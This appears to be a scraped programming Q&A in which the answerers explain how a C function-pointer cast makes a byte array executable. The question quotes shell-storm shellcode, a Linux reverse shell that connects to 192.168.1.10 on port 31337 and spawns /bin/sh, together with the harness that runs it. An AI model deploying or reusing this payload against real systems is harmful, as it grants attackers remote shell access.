Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What does int (*ret)() = (int(*)())code mean?

Here is a copy of code from shellstorm:

#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69) 
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

main() 
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

Could anyone help me explain this one "int (ret)() = (int()())code;" ? How does it work? Why it can make the code above run?

like image 520
user2579274 Avatar asked Feb 22 '14 07:02

user2579274


2 Answers

int(*ret)()

declares a function pointer named ret; the function takes unspecified arguments and returns an integer.

(int(*)())code

casts the code array to a function pointer of that same type.

So this converts the address of the code array to a function pointer, which then allows you to call it and execute the code.

Note that this is technically undefined behavior, so it doesn't have to work this way. But this is how practically all implementations compile this code. Shellcodes like this are not expected to be portable -- the bytes in the code array are dependent on the CPU architecture and stack frame layout.

like image 171
Barmar Avatar answered Oct 03 '22 14:10

Barmar


You should read a good C programming book, such as Modern C. You could even read this draft C11 standard or look into this C reference website.

int (*ret)() declare a pointer to function returning an int -without specifying arguments (in C)

Then = (int(*)())code; is initializing ret with the casted address of code.

At last ret(); is calling that function pointer, hence invoking the machine code in your code array.

BTW, the compiler (and the linker) might put code in a read-only but non-executable segment (this perhaps depends upon how your program was linked). And then your shell code might not work.

I recommend enabling all warnings and debug info in your compiler. With GCC in 2020, that means compiling with gcc -Wall -Wextra -g and later use GDB.

On Linux, you might even use strace(1) or ltrace(1) to understand the behavior of your executable.

like image 35
Basile Starynkevitch Avatar answered Oct 03 '22 14:10

Basile Starynkevitch